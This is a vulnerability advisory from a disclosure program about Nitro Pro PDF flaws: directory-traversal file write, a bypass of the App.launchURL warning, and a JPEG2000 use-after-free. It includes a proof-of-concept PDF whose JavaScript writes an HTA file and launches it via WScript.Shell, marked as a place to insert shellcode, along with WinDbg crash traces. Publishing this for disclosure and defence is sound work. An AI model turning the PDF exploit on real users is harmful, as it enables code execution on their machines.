## Vulnerabilities Summary The following advisory describes three vulnerabilities found in Nitro / Nitro Pro PDF. Nitro Pro is the PDF reader and editor that does everything you will ever need to do with PDF files. The powerful but snappy editor lets you change PDF documents with ease, and comes with a built-in OCR engine that can transform scanned documents into editable files. Fill up forms, annotate and sign them as part of your workflow, and easily merge multiple documents or delete selected pages as necessary. If you use a large display or multiple monitors, NitroPDF also offers the ability to display PDF documents side-by-side so that you can pore through multiple documents. Of course, you could use AquaSnap to do that. The vulnerabilities found in Nitro PDF are: Doc.saveAs Directory Traversal Arbitrary File Write that lead to Command Execution App.launchURL Command Execution JPEG2000 npdf.dll Use-After-Free Forms Parsing NPForms.npp Use-After-Free File Parsing Count Field npdf.dll Memory Corruption NewWindow Launch Action NPActions.npp Command URI Action NPActions.npp Command Execution This report contain the following vulnerabilities: Doc.saveAs Directory Traversal Arbitrary File Write that lead to Command Execution App.launchURL Command Execution JPEG2000 npdf.dll Use-After-Free ## Credit Two independent security researchers, Steven Seeley and anonymous, have reported these vulnerabilities to Beyond Security’s SecuriTeam Secure Disclosure program. ## Vendor response The vendor has released patches to address this vulnerability. “Number of the reported vulnerabilities have been resolved and confirmed, and will included in our next release of Nitro Pro, 11.05.” For more details: https://www.gonitro.com/support/downloads#securityUpdates CVE: CVE-2017-2796 CVE-2017-7950 ## Vulnerabilities Details Doc.saveAs Directory Traversal Arbitrary File Write that lead to Command Execution The Doc.saveAs function does not validate either the file extension, the content of the PDF or if the path contains traversals before saving it to disk. An attacker can leverage this to write a malicious file to the operating system in any path. This alone can be used to achieve remote code execution by writing into the users startup folder. App.launchURL Command Execution The App.launchURL function allows an attacker to execute commands with the privileges of the currently running user. However, a security alert or warning is typically triggered when doing so. This can be bypassed if a $ sign is used within the path. Note that if an attacker does this, they will execute the file from the current directory, which may not be ideal for exploitation. Also note, that the App.launchURL function does not filter for space characters such as carriage return and line feeds. This can allow an attacker to spoof the file /url being launched. ## Doc.saveAs and App.launchURL Remote Code Execution Proof of Concept ``` %PDF-1.7 4 0 obj << /Length 0 >> stream <script> // enter your shellcode here WshShell = new ActiveXObject("WScript.Shell"); WshShell.Run("c:/windows/system32/calc.exe", 1, false); </script> endstream endobj 5 0 obj << /Type /Page /Parent 2 0 R /Contents 4 0 R >> endobj 1 0 obj << /Type /Catalog /Pages 2 0 R /OpenAction [ 5 0 R /Fit ] /Names << /JavaScript << /Names [ (EmbeddedJS) << /S /JavaScript /JS ( this.saveAs('../../../../../../../../../../../../../../../../Windows/Temp/si.hta'); app.launchURL('c$:/../../../../../../../../../../../../../../../../Windows/Temp/si.hta'); ) >> ] >> >> >> endobj 2 0 obj <</Type/Pages/Count 1/Kids [ 5 0 R ]>> endobj 3 0 obj <<>> endobj xref 0 6 0000000000 65535 f 0000000166 00000 n 0000000244 00000 n 0000000305 00000 n 0000000009 00000 n 0000000058 00000 n trailer << /Size 6 /Root 1 0 R >> startxref 327 %%EOF ``` ## JPEG2000 npdf.dll Use-After-Free When parsing a malformed embedded JPEG2000 image into a PDF the process will destroy an object in memory, forcing a pointer to be reused after it has been free. The reuse functions are located in the npdf.dll. when browsing a folder with the mutated files and attaching to the newly launched dllhost.exe, WinDbg will show: ``` ... CNitroPDFThumbProvider::GetThumbnail - prepare device to renderCNitroPDFThumbProvider::GetThumbnail - render the page(1010.1038): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. npdf!CxRect2::Width+0x4f6f6: 000007fe`e592dd16 488b01 mov rax,qword ptr [rcx] ds:feeefeee`feeefeee=???????????????? ... ... 000007fe`e592dd16 488b01 mov rax,qword ptr [rcx] ds:feeefeee`feeefeee=???????????????? 000007fe`e592dd19 ff90d0000000 call qword ptr [rax+0D0h] ... ``` When opening the file with Nitro PDF Reader 32 BIT, WinDbg will show ex. : ``` ... (d7c.1210): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=05fffda8 ebx=0133115c ecx=16cf6c38 edx=013311c0 esi=00000000 edi=00000000 eip=4f532f32 esp=01145614 ebp=01145628 iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202 4f532f32 ?? ??? ... 1 2 3 4 5 6 7 8 9 ... (d7c.1210): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=05fffda8 ebx=0133115c ecx=16cf6c38 edx=013311c0 esi=00000000 edi=00000000 eip=4f532f32 esp=01145614 ebp=01145628 iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202 4f532f32 ?? ??? ... eip is overwritten with random memory. Disassembly of the prior call: ... 68dbff59 8b4af0 mov ecx,dword ptr [edx-10h] 68dbff5c 85c9 test ecx,ecx 68dbff5e 7409 je npdf!TerminateApp+0xb7d99 (68dbff69) 68dbff60 8b01 mov eax,dword ptr [ecx] 68dbff62 ff5010 call dword ptr [eax+10h] ... 1 2 3 4 5 6 7 ... 68dbff59 8b4af0 mov ecx,dword ptr [edx-10h] 68dbff5c 85c9 test ecx,ecx 68dbff5e 7409 je npdf!TerminateApp+0xb7d99 (68dbff69) 68dbff60 8b01 mov eax,dword ptr [ecx] 68dbff62 ff5010 call dword ptr [eax+10h] ... call stack: ... # ChildEBP RetAddr Args to Child 00 01145610 68dbff65 694dc564 0133115c 01145678 0x4f532f32 01 01145628 691f7bab 0114567c 00000000 00000000 npdf!TerminateApp+0xb7d95 02 01145650 691f7a42 0114567c 03a1aa80 013311c0 npdf!CxRect2::Width+0x5220b 03 0114568c 691f7ab7 00000000 00000001 691ed76b npdf!CxRect2::Width+0x520a2 04 011456a0 6938952b 68c70000 00000000 00000001 npdf!CxRect2::Width+0x52117 05 011456e0 693894b2 68c70000 00000000 00000001 npdf!CxRect2::Width+0x1e3b8b 06 011456f4 77b092e0 68c70000 00000000 00000001 npdf!CxRect2::Width+0x1e3b12 07 01145714 77b29da4 69389496 68c70000 00000000 ntdll!RtlQueryEnvironmentVariable+0x241 08 011457b8 77b29c46 0133da3c 77b096e5 0133da40 ntdll!LdrShutdownProcess+0x141 09 011457cc 76ca79c5 00000000 77e8f3b0 ffffffff ntdll!RtlExitUserProcess+0x74 0a 011457e0 693926a6 ffffffff 01145834 69392aae kernel32!ExitProcess+0x15 0b 011457ec 69392aae ffffffff bf850c3a 16cf003a npdf!CxRect2::Width+0x1ecd06 0c 01145834 69392ad2 ffffffff 00000000 00000000 npdf!CxRect2::Width+0x1ed10e 0d 01145848 6916a9c7 ffffffff 690bb918 bf850c62 npdf!CxRect2::Width+0x1ed132 0e 0114586c 690ff453 bf850cb6 16cf003a 16cf0030 npdf!CxImage::Thumbnail+0x14907 0f 011458b8 690e7319 16cf003a 00000200 16cefdc0 npdf!CxImageJAS::Encode+0x5abb3 10 01145920 690dfc47 00000000 00000000 bf850d7a npdf!CxImageJAS::Encode+0x42a79 11 01145974 6907c89d 1691a5b0 00000000 bf85f4ca npdf!CxImageJAS::Encode+0x3b3a7 12 0114a0c4 6907da8e 0114aab4 0114ab04 bf85f556 npdf!CxImagePNG::user_write_data+0x6bc1d 13 0114a158 68eb0f95 0114aae4 00034627 00000000 npdf!CxImagePNG::user_write_data+0x6ce0e 14 0114a178 68eb1660 0114aae4 00034627 00000000 npdf!CxImage::~CxImage+0x88f35 15 0114a1d8 68eb0d1a 00000000 0404004c 0114aae4 npdf!CxImage::~CxImage+0x89600 16 0114aa80 68dea973 0114aae4 00034627 00000000 npdf!CxImage::~CxImage+0x88cba 17 0114ab28 68dea846 00000000 04080055 bf85ffb2 npdf!TerminateApp+0xe27a3 18 0114abbc 68dea566 00000000 04090034 bf85ffea npdf!TerminateApp+0xe2676 19 0114abe4 68d29e9b 00000000 04090034 00000002 npdf!TerminateApp+0xe2396 1a 0114ac0c 68d29952 00000000 04090034 00000002 npdf!TerminateApp+0x21ccb 1b 0114ac24 68f93f9b 00000000 04090034 00000002 npdf!TerminateApp+0x21782 1c 0114ac5c 68efe9c0 00001de2 00000ce4 000009f6 npdf!CxImage::~CxImage+0x16bf3b 1d 0114b6dc 68fa54c8 0114b77c bf85953e 061e8998 npdf!CxImage::~CxImage+0xd6960 1e 0114c130 68e3e6a6 16ba3598 00000000 00000000 npdf!CxImage::~CxImage+0x17d468 1f 0114c168 68e4133d 16c8c150 0114c1b0 16ba3438 npdf!CxImage::~CxImage+0x16646 20 0114c1a8 68e37ca2 061e8998 bf859df6 16ba3438 npdf!CxImage::~CxImage+0x192dd 21 0114c9f8 68e5b509 bf859a92 0575f818 16ba3438 npdf!CxImage::~CxImage+0xfc42 22 0114ce9c 68e5a956 0114d730 68e4016b 00000000 npdf!CxImage::~CxImage+0x334a9 23 0114cea4 68e4016b 00000000 014e4020 0114e14c npdf!CxImage::~CxImage+0x328f6 24 0114d730 68d786df 4b011fcc 0114e0fc 00000000 npdf!CxImage::~CxImage+0x1810b 25 0114dff8 68d7a771 4b011fcc 0114e0fc 00000000 npdf!TerminateApp+0x7050f 26 0114e020 014e6381 16bc08e8 0114e0f4 bc2b49e1 npdf!TerminateApp+0x725a1 27 0114e634 014eb65d 16ca1778 5b012454 0114e678 NitroPDF!CxIOFile::Write+0x92521 28 0114ee9c 73f8b443 0114eeb8 bf88cba9 16ca1778 NitroPDF!CxIOFile::Write+0x977fd 29 0114ef1c 73f9ae0c bf88cb9d 16ca1778 16ca1778 mfc120u+0x22b443 2a 0114efe0 73f9a901 0000000f 00000000 00000000 mfc120u+0x23ae0c 2b 0114f000 73f98f33 0000000f 00000000 00000000 mfc120u+0x23a901 2c 0114f070 73f99155 16ca1778 004509c0 0000000f mfc120u+0x238f33 2d 0114f090 73e97e8e 004509c0 0000000f 00000000 mfc120u+0x239155 2e 0114f0cc 76fa62fa 004509c0 0000000f 00000000 mfc120u+0x137e8e 2f 0114f0f8 76fa6d3a 73e97e5a 004509c0 0000000f USER32!gapfnScSendMessage+0x332 30 0114f170 76fa6de8 00000000 73e97e5a 004509c0 USER32!GetThreadDesktop+0xd7 31 0114f1cc 76fa6e44 02055d40 00000000 0000000f USER32!GetThreadDesktop+0x185 32 0114f208 77ae010a 0114f220 00000000 0114f274 USER32!GetThreadDesktop+0x1e1 33 0114f284 76fa788a 73e97e5a 00000000 0114f2c0 ntdll!KiUserCallbackDispatcher+0x2e 34 0114f294 73f886f2 012fa0f8 00000001 0178ef40 USER32!DispatchMessageW+0xf 35 0114f2c0 0153365e bc2b5389 ffffffff 0178ef40 mfc120u+0x2286f2 36 0114fc5c 73fabde4 00000000 00000020 00000001 NitroPDF!CxIOFile::Write+0xdf7fe 37 0114fc70 0164e72d 013e0000 00000000 012b3120 mfc120u+0x24bde4 38 0114fcbc 76ca336a 7efde000 0114fd08 77b09882 NitroPDF!CxImageJPG::CxExifInfo::process_SOFn+0x637dd 39 0114fcc8 77b09882 7efde000 741ca300 00000000 kernel32!BaseThreadInitThunk+0x12 3a 0114fd08 77b09855 0164e7ab 7efde000 ffffffff ntdll!RtlInitializeExceptionChain+0x63 3b 0114fd20 00000000 0164e7ab 7efde000 00000000 ntdll!RtlInitializeExceptionChain+0x36 ... ``` ## reuse function, npdf.dll: ``` ;---------------------------------------------------------------------------------------------------- 1014FF59 L1014FF59: 1014FF59 8B4AF0 mov ecx,[edx-10h] 1014FF5C 85C9 test ecx,ecx 1014FF5E 7409 jz L1014FF69 1014FF60 8B01 mov eax,[ecx] <--- ecx -> junk 1014FF62 FF5010 call [eax+10h] <--- Crash 1014FF65 85C0 test eax,eax 1014FF67 750C jnz L1014FF75 1014FF69 L1014FF69: 1014FF69 E8123D4300 call SUB_L10583C80 1014FF6E 8BC8 mov ecx,eax 1014FF70 8B10 mov edx,[eax] 1014FF72 FF5210 call [edx+10h] 1014FF75 L1014FF75: 1014FF75 8B4D08 mov ecx,[ebp+08h] 1014FF78 50 push eax 1014FF79 8B03 mov eax,[ebx] 1014FF7B 56 push esi 1014FF7C 8D0478 lea eax,[eax+edi*2] 1014FF7F 50 push eax 1014FF80 E83BC2FFFF call SUB_L1014C1C0 1014FF85 8B4508 mov eax,[ebp+08h] 1014FF88 5F pop edi 1014FF89 5E pop esi 1014FF8A 5B pop ebx 1014FF8B 8BE5 mov esp,ebp 1014FF8D 5D pop ebp 1014FF8E C20C00 retn 000Ch ;---------------------------------------------------------------------------------------------------- ```